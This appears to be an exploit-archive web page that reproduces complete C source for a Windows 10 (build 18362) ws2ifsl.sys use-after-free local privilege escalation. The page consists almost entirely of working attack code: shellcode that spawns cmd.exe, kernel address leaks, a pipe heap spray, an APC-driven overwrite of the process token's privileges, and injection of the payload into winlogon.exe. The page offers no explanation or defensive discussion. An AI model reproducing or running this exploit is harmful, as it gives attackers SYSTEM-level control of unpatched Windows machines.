Advertisement


Looking for a fix? Check your Codebase security with multiple scanners from Scanmycode.today


Edit Report

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020010165

Below is a copy:

Microsoft Windows 10 (19H1 1901 x64) ws2ifsl.sys Use After Free Local Privilege Escalation (kASLR kCFG SMEP)
/*
The exploit works on 19H1.
It was tested with ntoskrnl version 10.0.18362.295
*/

#include <Windows.h>
#include <stdio.h>
#include <string>
#include <ntstatus.h>
#include <processthreadsapi.h>
#include <winternl.h>
#include <tlhelp32.h>

#pragma comment(lib, "ntdll.lib")

// run cmd.exe
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
"\x78\x65\x00";

static const unsigned int shellcode_len = 0x1000;

#define MAXIMUM_FILENAME_LENGTH 255 
#define SystemModuleInformation  0xb
#define SystemHandleInformation 0x10

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
void* Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE Handels[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef struct SYSTEM_MODULE {
ULONG                Reserved1;
ULONG                Reserved2;
#ifdef _WIN64
ULONGReserved3;
#endif
PVOID                ImageBaseAddress;
ULONG                ImageSize;
ULONG                Flags;
WORD                 Id;
WORD                 Rank;
WORD                 w018;
WORD                 NameOffset;
CHAR                 Name[MAXIMUM_FILENAME_LENGTH];
}SYSTEM_MODULE, * PSYSTEM_MODULE;

typedef struct SYSTEM_MODULE_INFORMATION {
ULONG                ModulesCount;
SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

// exploit specific type information 
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;// +0x0
UCHAR Flags;// +4
UCHAR EaNameLength;// +5
USHORT EaValueLength;// +6
CHAR EaName[1];// +9
} FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION;

typedef struct _PROC_DATA {
HANDLE apcthread;// +0x0
void* unknown1;// +0x8
void* unknown2;// +0x10
void* unknown3;// +0x18
void* unknown4;// +0x20
} PROC_DATA, * PPROC_DATA;

typedef struct _SOCK_DATA {
HANDLE unknown;// +0x0
HANDLE procDataHandle;// +0x8
} SOCK_DATA, * PSOCK_DATA;

// undocumented apis definitions 

typedef NTSTATUS(WINAPI* NtWriteFile_t)(HANDLE FileHandle,
HANDLE Event,
PIO_APC_ROUTINE ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID Buffer,
ULONG Length,
PLARGE_INTEGER ByteOffset,
PULONG key);

typedef NTSTATUS(WINAPI* NtTestAlert_t)(void);

typedef NTSTATUS(WINAPI* RtlGetVersion_t)(PRTL_OSVERSIONINFOW lpVersionInformation);

// resolved function pointers at runtime
NtTestAlert_t g_NtTestAlert = 0;
NtWriteFile_t g_NtWriteFile = 0;
RtlGetVersion_t g_RtlGetVersion = 0;

HANDLEg_Event1 = NULL;
HANDLEg_Event2 = NULL;
HANDLEg_Event3 = NULL;

int g_done1 = 0;
int g_done2 = 0;

#define TOKEN_OFFSET 0x40//_SEP_TOKEN_PRIVILEGES offset
#define OFFSET_LINKEDLIST 0xA8//kthread apc offset

// generic helper function

void InjectToWinlogon()
{
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

int pid = -1;
if (Process32First(snapshot, &entry))
{
while (Process32Next(snapshot, &entry))
{
if (_strcmpi(entry.szExeFile, "winlogon.exe") == 0)
{
pid = entry.th32ProcessID;
break;
}
}
}

CloseHandle(snapshot);

if (pid < 0)
{
printf("Could not find process\n");
return;
}

HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!h)
{
printf("Could not open process: %x", GetLastError());
return;
}

void* buffer = VirtualAllocEx(h, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!buffer)
{
printf("[-] VirtualAllocEx failed\n");
}

if (!buffer)
{
printf("[-] remote allocation failed");
return;
}

if (!WriteProcessMemory(h, buffer, shellcode, sizeof(shellcode), 0))
{
printf("[-] WriteProcessMemory failed");
return;
}

HANDLE hthread = CreateRemoteThread(h, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);

if (hthread == INVALID_HANDLE_VALUE)
{
printf("[-] CreateRemoteThread failed");
return;
}
}

HMODULE GetNOSModule()
{
HMODULE hKern = 0;
hKern = LoadLibraryEx("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
return hKern;
}

DWORD64 GetModuleAddr(const char* modName)
{
PSYSTEM_MODULE_INFORMATION buffer = (PSYSTEM_MODULE_INFORMATION)malloc(0x20);

DWORD outBuffer = 0;
NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, 0x20, &outBuffer);

if (status == STATUS_INFO_LENGTH_MISMATCH)
{
free(buffer);
buffer = (PSYSTEM_MODULE_INFORMATION)malloc(outBuffer);
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, outBuffer, &outBuffer);
}

if (!buffer)
{
printf("[-] NtQuerySystemInformation error\n");
return 0;
}

for (unsigned int i = 0; i < buffer->ModulesCount; i++)
{
PVOID kernelImageBase = buffer->Modules[i].ImageBaseAddress;
PCHAR kernelImage = (PCHAR)buffer->Modules[i].Name;
if (_stricmp(kernelImage, modName) == 0)
{
free(buffer);
return (DWORD64)kernelImageBase;
}
}
free(buffer);
return 0;
}


DWORD64 GetKernelPointer(HANDLE handle, DWORD type)
{
PSYSTEM_HANDLE_INFORMATION buffer = (PSYSTEM_HANDLE_INFORMATION) malloc(0x20);

DWORD outBuffer = 0;
NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, 0x20, &outBuffer);

if (status == STATUS_INFO_LENGTH_MISMATCH)
{
free(buffer);
buffer = (PSYSTEM_HANDLE_INFORMATION) malloc(outBuffer);
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, outBuffer, &outBuffer);
}

if (!buffer)
{
printf("[-] NtQuerySystemInformation error \n");
return 0;
}

for (size_t i = 0; i < buffer->NumberOfHandles; i++)
{
DWORD objTypeNumber = buffer->Handels[i].ObjectTypeNumber;

if (buffer->Handels[i].ProcessId == GetCurrentProcessId() && buffer->Handels[i].ObjectTypeNumber == type)
{
if (handle == (HANDLE)buffer->Handels[i].Handle)
{
//printf("%p %d %x\n", buffer->Handels[i].Object, buffer->Handels[i].ObjectTypeNumber, buffer->Handels[i].Handle);
DWORD64 object = (DWORD64)buffer->Handels[i].Object;
free(buffer);
return object;
}
}
}
printf("[-] handle not found\n");
free(buffer);
return 0;
}

DWORD64 GetGadgetAddr(const char* name)
{
DWORD64 base = GetModuleAddr("\\SystemRoot\\system32\\ntoskrnl.exe");
HMODULE mod = GetNOSModule();
if (!mod)
{
printf("[-] leaking ntoskrnl version\n");
return 0;
}
DWORD64 offset = (DWORD64)GetProcAddress(mod, name);

DWORD64 returnValue = base + offset - (DWORD64)mod;
FreeLibrary(mod);
return returnValue;
}

/*
After the bug is triggerd the first thime, this threads gets notified and it will trigger its function pointer,
which will call our gadget function and write the first 8 bytes.
*/
DWORD WINAPI APCThread1(LPVOID lparam)
{
SetEvent(g_Event1);
while (1)
{
if (g_done1)
{
printf("[+] triggering first APC execution\n");

g_NtTestAlert();

while (1)
{
Sleep(0x1000);
}
}
else
{
Sleep(1);
}
}
return 0;
}

/*
After the bug is triggerd the second thime, this threads gets notified and it will trigger its function pointer again and write the second 8 bytes.
After that the shellcode is injected into the system process.
*/
DWORD WINAPI APCThread2(LPVOID lparam)
{
SetEvent(g_Event2);
while (1)
{
if (g_done2)
{
printf("[+] triggering second APC execution\n");

g_NtTestAlert();

InjectToWinlogon();
SetEvent(g_Event3);

while (1)
{
Sleep(0x1000);
}
}
else
{
Sleep(1);
}
}
return 0;
}

HANDLE CreateSocketHandle(HANDLE procHandle)
{
HANDLE fileHandle = 0;
UNICODE_STRING deviceName;
OBJECT_ATTRIBUTES object;
IO_STATUS_BLOCK IoStatusBlock;

RtlInitUnicodeString(&deviceName, (PWSTR)L"\\Device\\WS2IFSL\\NifsSct");

InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL);

FILE_FULL_EA_INFORMATION* eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(SOCK_DATA));
if (!eaBuffer)
{
printf("[-] malloc error\n");
return fileHandle;
}
eaBuffer->NextEntryOffset = 0;
eaBuffer->Flags = 0;
eaBuffer->EaNameLength = sizeof("NifsSct") - 1;
eaBuffer->EaValueLength = sizeof(SOCK_DATA);

RtlCopyMemory(eaBuffer->EaName, "NifsSct", (SIZE_T)eaBuffer->EaNameLength + 1);

SOCK_DATA * eaData = (SOCK_DATA*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") - 4);

eaData->unknown = (void*) 0x242424224;
eaData->procDataHandle = (void*) procHandle;

NTSTATUS status = NtCreateFile(&fileHandle, GENERIC_WRITE, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(PROC_DATA));
if (status != STATUS_SUCCESS)
{
printf("[-] NtCreateFile error: %x \n", status);
free(eaBuffer);
return fileHandle;
}

free(eaBuffer);
return fileHandle;
}

HANDLE CreateProcessHandle(HANDLE hAPCThread)
{
HANDLE fileHandle = 0;
UNICODE_STRING deviceName;
OBJECT_ATTRIBUTES object;
IO_STATUS_BLOCK IoStatusBlock;

RtlInitUnicodeString(&deviceName, (PWSTR)L"\\Device\\WS2IFSL\\NifsPvd");

InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL);

FILE_FULL_EA_INFORMATION* eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA));
if (!eaBuffer)
{
printf("[-] malloc error\n");
return fileHandle;
}
eaBuffer->NextEntryOffset = 0;
eaBuffer->Flags = 0;
eaBuffer->EaNameLength = sizeof("NifsPvd") - 1;
eaBuffer->EaValueLength = sizeof(PROC_DATA);

RtlCopyMemory(eaBuffer->EaName, "NifsPvd", (SIZE_T)eaBuffer->EaNameLength + 1);
PROC_DATA * eaData = (PROC_DATA*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") - 4);

if (!hAPCThread)
{
printf("[-] error thread not found\n");
free(eaBuffer);
return 0;
}

eaData->apcthread = (void*) hAPCThread;// thread must be in current process
eaData->unknown1 = (void*) 0x2222222;// APC Routine
eaData->unknown2 = (void*) 0x3333333;// cancel Rundown Routine
eaData->unknown3 = (void*) 0x4444444;
eaData->unknown4 = (void*) 0x5555555;

NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA));
if (status != STATUS_SUCCESS)
{
printf("[-] NtCreateFile error: %x \n", status);
free(eaBuffer);
return fileHandle;
}

free(eaBuffer);
return fileHandle;
}

int DoHeapSpray(DWORD64 writeAddress, DWORD64 kthreadAddress)
{
DWORD64 nopPointer = GetGadgetAddr("xHalTimerWatchdogStop");
if (!nopPointer)
{
printf("[-] SeSetAccessStateGenericMapping not found\n");
return 0;
}

DWORD64 funPointer = GetGadgetAddr("SeSetAccessStateGenericMapping");
if (!funPointer)
{
printf("[-] SeSetAccessStateGenericMapping not found\n");
return 0;
}

UCHAR payload[0x120 - 0x48];
memset(payload, 0x0, sizeof(payload));   

DWORD64 x = 0x41414141414141;
memcpy(payload, &x, 8);

x = 0x12121212;
memcpy(payload + 8, &x, 8);

x = kthreadAddress + OFFSET_LINKEDLIST;// apc linked list 
memcpy(payload + 0x10, &x, 8);

x = kthreadAddress + OFFSET_LINKEDLIST;
memcpy(payload + 0x18, &x, 8);

x = funPointer;
memcpy(payload + 0x20, &x, 8);// this is the RIP we want to execute, in case of NtTestAlert

x = nopPointer;
memcpy(payload + 0x28, &x, 8);// this is the RIP we want to execute, in case of rundown routine 

x = 0xffffffffffffffff;// this is to be written
memcpy(payload + 0x30, &x, 8);

x = 0xffffffffffffffff;// this is to be written, but it gets changed..
memcpy(payload + 0x38, &x, 8);

x = 0x2424242424242424;
memcpy(payload + 0x40, &x, 8);

x = writeAddress;// this is where to write 
memcpy(payload + 0x48, &x, 8);
 
for (size_t i = 0; i < 0x70; i++)
{
HANDLE readPipe;
HANDLE writePipe;
DWORD resultLength = 0;

BOOL res = CreatePipe(&readPipe, &writePipe, NULL, sizeof(payload));
if (!res)
{
printf("[-] error creating pipe\n");
return 0;
}
res = WriteFile(writePipe, payload, sizeof(payload), &resultLength, NULL);
}

return 1;
}

/*
This function will trigger the use after free in ws2ifsl.sys and
will try to reallocate the buffer with controlled content.
*/
void TriggerBug(HANDLE threadHandle, DWORD64 writeAddress, DWORD64 kthreadAddress, int id)
{
HANDLE procHandle = CreateProcessHandle(threadHandle);
printf("[!] procHandle %x\n", (DWORD)procHandle);

HANDLE sockHandle = CreateSocketHandle(procHandle);
printf("[!] sockHandle %x\n", (DWORD)sockHandle);

char* readBuffer = (char*)malloc(0x100);
DWORD bytesRead = 0;

IO_STATUS_BLOCK io;
LARGE_INTEGER byteOffset;
byteOffset.HighPart = 0;
byteOffset.LowPart = 0;
byteOffset.QuadPart = 0;
byteOffset.u.LowPart = 0;
byteOffset.u.HighPart = 0;
ULONG key = 0;

CloseHandle(procHandle);

NTSTATUS ret = g_NtWriteFile(sockHandle, 0, 0, 0, &io, readBuffer, 0x100, &byteOffset, &key);

// this close the objecte and we trigger the use after free
CloseHandle(sockHandle);

// this spray will reclaim the buffer
if (!DoHeapSpray(writeAddress, kthreadAddress))
{
printf("[-] error doHeapSpray\n");
return;
}

if (id == 1)
{
g_done1 = 1;
}

if (id == 2)
{
g_done2 = 1;
}

printf("[+] done\n");
Sleep(0x20);
free(readBuffer);

return;
}

/*
This function resolves all function pointer for native api calls.
*/
bool InitFunctionPointers()
{
HMODULE hNtDll = NULL;
hNtDll = LoadLibrary("ntdll.dll");
if (!hNtDll)
{
printf("error\n");
return false;
}

g_NtTestAlert = (NtTestAlert_t)GetProcAddress(hNtDll, "NtTestAlert");
if (!g_NtTestAlert)
{
printf("error\n");
return false;
}

g_NtWriteFile = (NtWriteFile_t)GetProcAddress(hNtDll, "NtWriteFile");
if (!g_NtWriteFile)
{
printf("[-] GetProcAddress() NtWriteFile failed.\n");
return false;
}

g_RtlGetVersion = (RtlGetVersion_t)GetProcAddress(hNtDll, "RtlGetVersion");
if (!g_NtWriteFile)
{
printf("[-] GetProcAddress() RtlGetVersion failed.\n");
return false;
}

return true;
}

int main()
{
// intialize event for thread synchronization
g_Event1 = CreateEvent(0, 0, 0, 0);
g_Event2 = CreateEvent(0, 0, 0, 0);
g_Event3 = CreateEvent(0, 0, 0, 0);

if (g_Event1 == INVALID_HANDLE_VALUE || !g_Event1)
{
printf("[-] CreateEvent failed\n");
return 0;
}
if (g_Event2 == INVALID_HANDLE_VALUE || !g_Event2)
{
printf("[-] CreateEvent failed\n");
return 0;
}
if (g_Event3 == INVALID_HANDLE_VALUE || !g_Event2)
{
printf("[-] CreateEvent failed\n");
return 0;
}

if (!InitFunctionPointers())
{
printf("[-] InitFunctionPointers failed\n");
return 0;
}

HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
if (!proc)
{
printf("[-] OpenProcess failed\n");
return 0;
}
HANDLE token = 0;
if (!OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token))
{
printf("[-] OpenProcessToken failed\n");
return 0;
}

DWORD64 ktoken = GetKernelPointer(token, 0x5);
DWORD64 where = ktoken + TOKEN_OFFSET;

printf("[+] found token at: %p\n", (DWORD64) ktoken);


// check the supported version of this exploit, otherwise we would crash
RTL_OSVERSIONINFOW osversion;
g_RtlGetVersion(&osversion);

if (osversion.dwMajorVersion == 10 && osversion.dwBuildNumber == 18362)
{
printf("[+] version supported\n");
}
else
{
printf("[-] sorry version not supported\n");
return 0;
}

HANDLE hAPCThread1 = CreateThread(0, 0, APCThread1, 0, 0, 0);
if (hAPCThread1 == INVALID_HANDLE_VALUE || !hAPCThread1)
{
printf("[-] error CreateThread\n");
return 0;
}

HANDLE hAPCThread2 = CreateThread(0, 0, APCThread2, 0, 0, 0);
if (hAPCThread2 == INVALID_HANDLE_VALUE || !hAPCThread2)
{
printf("[-] error CreateThread\n");
return 0;
}

DWORD64 threadAddrAPC1 = GetKernelPointer(hAPCThread1, 0x8);
if (!threadAddrAPC1)
{
printf("[-] GetKernelPointer error \n");
return 0;
}
DWORD64 threadAddrAPC2 = GetKernelPointer(hAPCThread2, 0x8);
if (!threadAddrAPC2)
{
printf("[-] GetKernelPointer error \n");
return 0;
}

// wait for threads to be initialized
WaitForSingleObject(g_Event1, -1);
WaitForSingleObject(g_Event2, -1);

TriggerBug(hAPCThread1, where-8, threadAddrAPC1, 1);
TriggerBug(hAPCThread2, where, threadAddrAPC2, 2);

WaitForSingleObject(g_Event3, -1);

ExitProcess(0);

return 0;
}

Copyright ©2020 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.